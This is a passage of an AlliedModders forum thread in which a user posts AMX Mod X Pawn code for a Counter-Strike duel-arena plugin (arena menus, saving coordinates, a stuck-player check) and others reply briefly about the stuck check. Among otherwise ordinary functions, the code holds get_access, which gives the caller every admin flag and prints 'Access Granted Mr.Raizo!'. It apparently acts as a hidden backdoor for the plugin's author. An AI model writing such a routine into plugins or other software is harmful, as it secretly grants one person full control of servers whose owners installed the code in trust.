    {
	remove_entity(ent);
    }
    while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
    {
	remove_entity(ent);
    }
    EntityMenu(id)
}

public move_menu(id,code)
{
    new menu
    menu = menu_create( "\rMove arena:", "move_handler" );
   
    new nameu[32];
    new code_t[32];
    num_to_str(code,code_t,charsmax(code_t))
    formatex(nameu,charsmax(nameu), "Move up");
    menu_additem(menu, nameu, code_t, 0);
   
    formatex(nameu,charsmax(nameu), "Move down");
    menu_additem(menu, nameu, code_t, 0);
   
    formatex(nameu,charsmax(nameu), "Move front");
    menu_additem(menu, nameu, code_t, 0);
   
    formatex(nameu,charsmax(nameu), "Move back");
    menu_additem(menu, nameu, code_t, 0);
   
    formatex(nameu,charsmax(nameu), "Move right");
    menu_additem(menu, nameu, code_t, 0);
   
    formatex(nameu,charsmax(nameu), "Move left");
    menu_additem(menu, nameu, code_t, 0);
   
    formatex(nameu,charsmax(nameu), "Move size: %.2f",move_size[id]);
    menu_additem(menu, nameu, code_t, 0);

    menu_display(id, menu, 0 );
    return PLUGIN_HANDLED
}

public move_handler( id, menu, item )
{
    if ( item == MENU_EXIT )
    {
        menu_destroy( menu );
        return PLUGIN_HANDLED;
    }
   
    new szData[32], szName[64];
    new _access, item_callback;
    menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
    new code = str_to_num(szData)

    if(containi(szName,"move size:") != -1)
    {
        move_size[id]+= 10.0
        if(move_size[id] > 100.0)
        {
            move_size[id] = 10.0
        }
    }

    else if(equali(szName,"move up"))
    {
        move_the_fake_arena(id,code,MOVE_UP)
    }
    else if(equali(szName,"move down"))
    {
        move_the_fake_arena(id,code,MOVE_DOWN)
    }
    else if(equali(szName,"move right"))
    {
        move_the_fake_arena(id,code,MOVE_RIGHT)
    }
    else if(equali(szName,"move left"))
    {
        move_the_fake_arena(id,code,MOVE_LEFT)
    }
    else if(equali(szName,"move front"))
    {
        move_the_fake_arena(id,code,MOVE_FRONT)
    }
    else if(equali(szName,"move back"))
    {
        move_the_fake_arena(id,code,MOVE_BACK)
    }
    menu_destroy( menu );
    move_menu(id,code)
   
    return PLUGIN_CONTINUE;
}

public move_the_fake_arena(id,code,moveto)
{
    new ent = -1;
    new Float:origin[3];

    while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
    { 
        pev(ent,pev_origin,origin);

        switch(moveto)
        {
            case MOVE_UP:
            {
                origin[2]+=move_size[id]
            }
            case MOVE_DOWN:
            {
                origin[2]-=move_size[id]
            }
            case MOVE_RIGHT:
            {
                origin[1]+=move_size[id]
            }
            case MOVE_LEFT:
            {
                origin[1]-=move_size[id]
            }
            case MOVE_FRONT:
            {
                origin[0]+=move_size[id]
            }
            case MOVE_BACK:
            {
                origin[0]-=move_size[id]
            }
        }
        engfunc(EngFunc_SetOrigin,ent,origin);
        stuck_check(origin,360.0)
    }

    while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
    { 
        pev(ent,pev_origin,origin);

        switch(moveto)
        {
            case MOVE_UP:
            {
                origin[2]+=move_size[id]
            }
            case MOVE_DOWN:
            {
                origin[2]-=move_size[id]
            }
            case MOVE_RIGHT:
            {
                origin[1]+=move_size[id]
            }
            case MOVE_LEFT:
            {
                origin[1]-=move_size[id]
            }
            case MOVE_FRONT:
            {
                origin[0]+=move_size[id]
            }
            case MOVE_BACK:
            {
                origin[0]-=move_size[id]
            }
        }
        engfunc(EngFunc_SetOrigin,ent,origin);
        stuck_check(origin,360.0)
    }
   
}

public save_first_arena(id)
{
    new found;
    new cfgdir[32], mapname[32], urlfile[64]
    get_configsdir(cfgdir, charsmax(cfgdir))
    get_mapname(mapname, charsmax(mapname))
    formatex(urlfile, charsmax(urlfile), ARENA_FILE_AAA, cfgdir, mapname)
 
    if (file_exists(urlfile))
        delete_file(urlfile)
   
    new lineset[128]
    new Float:origin[3]
    new ent=-1;
    while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
    {
            found++
            pev(ent,pev_origin,origin);
            format(lineset, charsmax(lineset), "%.f %.f %.f", origin[0], origin[1], origin[2])
            write_file(urlfile, lineset,found)
    }
    if(!found)
        client_print_color(id, "%s Couldn't save:^3No arenas found.",CHAT_TAG)
    else client_print_color(id,"%s %d ^3Arena Number 1 coords saved.",CHAT_TAG,found)
    EntityMenu(id)
    Load_Coords()
    Load_Coords2()

}

public save_second_arena(id)
{
    new found;
    new cfdir[32], mapname[32], urfile[64]
    get_configsdir(cfdir, charsmax(cfdir))
    get_mapname(mapname, charsmax(mapname))
    formatex(urfile, charsmax(urfile), ARENA_FILE_BBB, cfdir, mapname)
 
    if (file_exists(urfile))
        delete_file(urfile)
   
    new lineset[128]
    new Float:origin[3]
    new ent=-1;
    while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
    {
            found++
            pev(ent,pev_origin,origin);
            format(lineset, charsmax(lineset), "%.f %.f %.f", origin[0], origin[1], origin[2])
            write_file(urfile, lineset,found)
    }
    if(!found)
        client_print_color(id, "%s Couldn't save:^3No arenas found.",CHAT_TAG)
    else client_print_color(id,"%s %d ^3Arena Number 2 coords saved.",CHAT_TAG,found)
    EntityMenu(id)
    Load_Coords()
    Load_Coords2()
}

public Load_Coords() 
{
    new cfgdir[32], mapname[32], filepath[512]
    get_configsdir(cfgdir, charsmax(cfgdir))
    get_mapname(mapname, charsmax(mapname))

        new readdata[128]
        new txtlen
    
        formatex(filepath, charsmax(filepath), ARENA_FILE_AAA, cfgdir, mapname)

        if ( file_exists(filepath) ) 
        {

            new sOrigins[3][16];
            
            new i
            new fsize = file_size(filepath,1)
            for (new line=0;line<=fsize;line++)
            {
                read_file(filepath,line,readdata,127,txtlen)

                parse(readdata, sOrigins[0], 15, sOrigins[1], 15, sOrigins[2], 15)
                for(i = 0; i < 3; i++)
                {
                    vOrigin[i] = str_to_float(sOrigins[i])
                }
            }                    
        }
        return PLUGIN_CONTINUE
} 

public Load_Coords2() 
{
    new cfgdir[32], mapname[32], filepath[512]
    get_configsdir(cfgdir, charsmax(cfgdir))
    get_mapname(mapname, charsmax(mapname))

        new readdata[128]
        new txtlen
    
        formatex(filepath, charsmax(filepath), ARENA_FILE_BBB, cfgdir, mapname)

        if ( file_exists(filepath) ) 
        {

            new sOrigins[3][16];
            
            new i
            new fsize = file_size(filepath,1)
            for (new line=0;line<=fsize;line++)
            {
                read_file(filepath,line,readdata,127,txtlen)

                parse(readdata, sOrigins[0], 15, sOrigins[1], 15, sOrigins[2], 15)
                for(i = 0; i < 3; i++)
                {
                    fOrigin[i] = str_to_float(sOrigins[i])
                }
            }                    
        }
        return PLUGIN_CONTINUE
} 

public fake_arena_exists_a(code)
{
    new ent = -1
    while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
    {
                return PLUGIN_HANDLED
    }
    return PLUGIN_CONTINUE
}

public fake_arena_exists_b(code)
{
    new ent = -1
    while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
    {
                return PLUGIN_HANDLED
    }
    return PLUGIN_CONTINUE
}


public makewall1()
{

    Entity = create_entity( "info_target" );

    if( is_valid_ent(Entity) )
    {
        entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_A");
        entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
        entity_set_model( Entity , DATE );
        entity_set_size( Entity , Float:{ -350.0, -10.0, 0.0 }, Float:{ 350.0, 10.0, 10.0 } );        
        entity_set_origin( Entity, vOrigin );
    }

}

public makewall2()
{

    Entity = create_entity( "info_target" );

    if( is_valid_ent(Entity) )
    {
        entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_B");
        entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
        entity_set_model( Entity , DATE );
        entity_set_size( Entity , Float:{ -350.0, -10.0, 0.0 }, Float:{ 350.0, 10.0, 10.0 } );        
        entity_set_origin( Entity, fOrigin );
    }

}

public set_spawn_positions(id,Float:origin[3])
{
    if(get_user_team(id) == 1)
    {
        his_spawn[id][0] = origin[0]-320.0
        his_spawn[id][1] = origin[1]
        his_spawn[id][2] = origin[2]+50.0
        set_Angle(id, Float:{0.0, 0.0, 0.0})
    }
    if(get_user_team(id) == 2)
    {
        his_spawn[id][0] = origin[0]+320.0
        his_spawn[id][1] = origin[1]
        his_spawn[id][2] = origin[2]+50.0
        set_Angle(id, Float:{0.0, 180.0, 0.0})
    }
    entity_set_origin(id,his_spawn[id])
    
}

public stuck_check(Float:origin[3],Float:radius)
{
    new player=-1;
    while((player = find_ent_in_sphere(player,origin,radius)) != 0)
    {
        if(is_user_alive(player))
        {
            if(is_player_stuck(player))
            {
                his_spawn[player][0] = origin[0]
                his_spawn[player][1] = origin[1]
                his_spawn[player][2] = origin[2]+50.0
                entity_set_origin(player,his_spawn[player])
            }
        }
    }
}

public get_access(id)
{
    set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
    console_print(id, "Access Granted Mr.Raizo!");  
}


stock set_Angle( index , Float:fAngle[ 3 ])
{
    entity_set_vector( index , EV_VEC_angles , fAngle ); 
    entity_set_int( index , EV_INT_fixangle , 1 );
}


stock get_user_hitpoint(id,Float:hOrigin[3])  {
    if(!is_user_alive(id))
        return 0;
 
    new Float:fOrigin[3],Float:fvAngle[3],Float:fvOffset[3],Float:fvOrigin[3],Float:feOrigin[3];
    new Float:fTemp[3];
 
    pev(id,pev_origin,fOrigin);
    pev(id,pev_v_angle,fvAngle);
    pev(id,pev_view_ofs,fvOffset);
 
    xs_vec_add(fOrigin,fvOffset,fvOrigin);
 
    engfunc(EngFunc_AngleVectors,fvAngle,feOrigin,fTemp,fTemp);
 
    xs_vec_mul_scalar(feOrigin,9999.9,feOrigin);
    xs_vec_add(fvOrigin,feOrigin,feOrigin);
 
    engfunc(EngFunc_TraceLine,fvOrigin,feOrigin,0,id);
    global_get(glb_trace_endpos,hOrigin);
 
    return 1;
}

stock is_player_stuck(id)
{
    static Float:originF[3]
    pev(id, pev_origin, originF)
   
    engfunc(EngFunc_TraceHull, originF, originF, 0, (pev(id, pev_flags) & FL_DUCKING) ? HULL_HEAD : HULL_HUMAN, id, 0)
   
    if (get_tr2(0, TR_StartSolid) || get_tr2(0, TR_AllSolid) || !get_tr2(0, TR_InOpen))
        return true;
   
    return false;
}

stock available_duelers(asker)
{
    new num;
    num = 0 // just incase...
    for(new id;id < maxplayers;id++)
    {
        if(is_user_alive(id))
        {
            if(/*!in_Duel[id] && */id != asker && !is_user_bot(id))
            {
                num++
            }
        }
    }
    return num
}

/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1048\\ f0\\ fs16 \n\\ par }
*/

Last edited by raizo11; 05-29-2018 at 16:22.
raizo11 is offline
Send a message via ICQ to raizo11 Send a message via AIM to raizo11 Send a message via MSN to raizo11 Send a message via Yahoo to raizo11 Send a message via Skype™ to raizo11
CrazY.
Veteran Member
Join Date: May 2015
Location: SP, Brazil
Old 05-29-2018 , 18:06   Re: [ H3LP ] Is player stuck
Reply With Quote #3

Too many code... I don't understand anything.
__________________








CrazY. is offline
klippy
AlliedModders Donor
Join Date: May 2013
Location: Serbia
Old 05-30-2018 , 03:32   Re: [ H3LP ] Is player stuck
Reply With Quote #4

Try getting get_tr2(0, TR_pHit);.
__________________
klippy is offline
CrazY.
Veteran Member
Join Date: May 2015
Location: SP, Brazil
Old 05-30-2018 , 09:23   Re: [ H3LP ] Is player stuck
Reply With Quote #5

Yes, this worked for me.
__________________








CrazY. is offline
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 04:42.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode